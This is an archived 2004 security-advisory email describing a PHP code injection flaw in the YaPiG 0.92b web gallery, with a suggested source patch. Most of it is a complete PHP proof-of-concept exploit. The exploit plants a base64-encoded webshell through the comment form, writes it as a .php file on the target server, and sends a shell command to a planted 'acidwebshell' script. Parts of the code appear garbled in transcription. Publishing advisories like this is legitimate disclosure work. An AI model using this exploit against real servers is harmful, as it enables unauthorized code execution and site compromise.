

[UNIX] YaPiG add_comment.php PHP Code Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0063.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/18/04

To: list@securiteam.com

Date: 18 Aug 2004 14:05:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

YaPiG add_comment.php PHP Code Injection

SUMMARY

<<http://yapig.sourceforge.net/>> YaPiG is "a simple but powerful web album very useful for publishing your image galleries". A vulnerability in the product allows remote attackers to insert PHP code into the comments they post, and at the same time control the extension of comment file being created.

DETAILS

Vulnerable Systems:

* YaPiG version 0.92b

Immune Systems:

* YaPiG version 0.92b (Latest downloaded files appear to be immune to PHP inclusion as it removes all <?PHP tags)

Exploit:

#!/usr/bin/php

<?

Securiteam: [UNIX] YaPiG add_comment.php PHP Code Injection

/*

YaPiG 0.92b add_coment PHP Insertion Proof of Concept
By aCiDBiTS acidbits@hotmail.com 07–August–2004

Description:

YaPiG (<http://yapig.sourceforge.net/>) is a PHP Image Gallery script. This Proof of Concept creates a php file that echoes a notice. First it determines a valid photo directory where to create the script.

Then creates a crafted comment saved in a new .php file. This comment contains an encoded webshell. Once this .php file is opened, the code contained creates test.php.

Usage (in my debian box):

```
php4 -q yapig_addc_poc.php "http://127.0.0.1/yapig-0.92b"
```

Vulnerability:

There is no user input sanitization of some parameters in add_comment.php and functions.php. This allows to create a file with any extension, and we can insert any code in it. Version 0.92b is vulnerable, I haven't tested older ones.

Workaround. Modify this lines of code:

add_comment.php

line 105:

```
$comments_file= $gid_dir . $gid . "_" . $phid;
```

Modify with:

```
$comments_file= $gid_dir . $gid . "_" . intval($phid);
```

functions.php, construct_comment_line()

line 699–700:

```
$linea=$linea . $data_array['mail'] . $SEPARATOR;
```

```
$linea=$linea . $data_array['web'] . $SEPARATOR;
```

Modify with:

```
$linea=$linea . htmlspecialchars($data_array['mail']) .
```

```
$SEPARATOR;
```

```
$linea=$linea . htmlspecialchars($data_array['web']) . $SEPARATOR;
```

*/

```
echo "+-----+\n| YaPiG  
0.92b add_coment PHP Insertion Proof of Concept |\n| By aCiDBiTS  
acidbits@hotmail.com 07–August–2004  
|\n+-----+\n\n";
```

```
$websh="<?php
```

```
|\$f=fopen(trim(base64_decode(dGVzdC5waHAgaG)),w);fputs(\$f,trim(base64_decode(PD8gZWNobyAnPHByZT4gXC
```

Securiteam: [UNIX] YaPiG add_comment.php PHP Code Injection

```
AgICAgICAgICAgICAgICAgICAgICAgICAgXCAGLzxicj4gKE9vKSAgVGhpcyBnYWxsZXJ5IGlzIHZ1bG5lcmFile  
XFxcXCAGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vfHxcXFxcIDwvcHJlPic7Pz4K)))fclose($f);  
?>;
```

```
if($argc<2) die("Usage: ".$argv[0]." URL_to_YaPiG_script\n\n");  
$host=$argv[1];  
if(substr($host,strlen($host)-1,1)!='/') $host.='/';
```

```
echo "[+] Getting valid gid & photo path ... ";  
$webc=get_web($host);  
$temp=explode(";gid=", $webc);  
$gid=intval($temp[1]);  
$temp=explode("photos/", $webc);  
$temp=explode("/",$temp[1]);  
$path=$temp[0];  
if( !$gid || !$path ) die( "Failed!\n\n");  
echo "OK\n GID: $gid\n Path: ".$host."photos/".$path."/\n\n";
```

```
echo "[+] Creating notice script file ... ";  
send_post( $host."add_comment.php?gid=".$gid."&phid=.php",  
"tit=a&aut=a&mail=".urlencode($websh)."&web=&msg=a&date=&send=Send");  
$webc=get_web( $host."photos/".$path."/".$gid."_php" );  
send_post( $host."photos/".$path."/acidwebshell.php", "c=".urlencode("rm  
".$gid."_php" ) );  
echo "OK\n Now go to: ".$host."photos/".$path."/test.php";
```

```
die("\n\n \\ \ / \n (Oo) Done! (oO)\n //||||  
//||||\n\n");
```

```
function get_web($url)  
{  
    $ch=curl_init();  
    curl_setopt ($ch, CURLOPT_URL, $url);  
    curl_setopt ($ch, CURLOPT_HEADER, 0);  
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);  
    $data=curl_exec ($ch);  
    curl_close ($ch);  
    return $data;  
}
```

```
function send_post($url,$data)  
{  
    $ch=curl_init();  
    curl_setopt ($ch, CURLOPT_URL, $url );  
    curl_setopt ($ch, CURLOPT_HEADER, 0);  
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);  
    curl_setopt ($ch, CURLOPT_POST, 1);  
    curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );  
    $data=curl_exec ($ch);  
    curl_close ($ch);  
    return $data;  
}
```

```
}  
  
/* \/  
   (Oo)  
   //||\ */  
  
?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:acidbits@hotmail.com>
acidbits.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.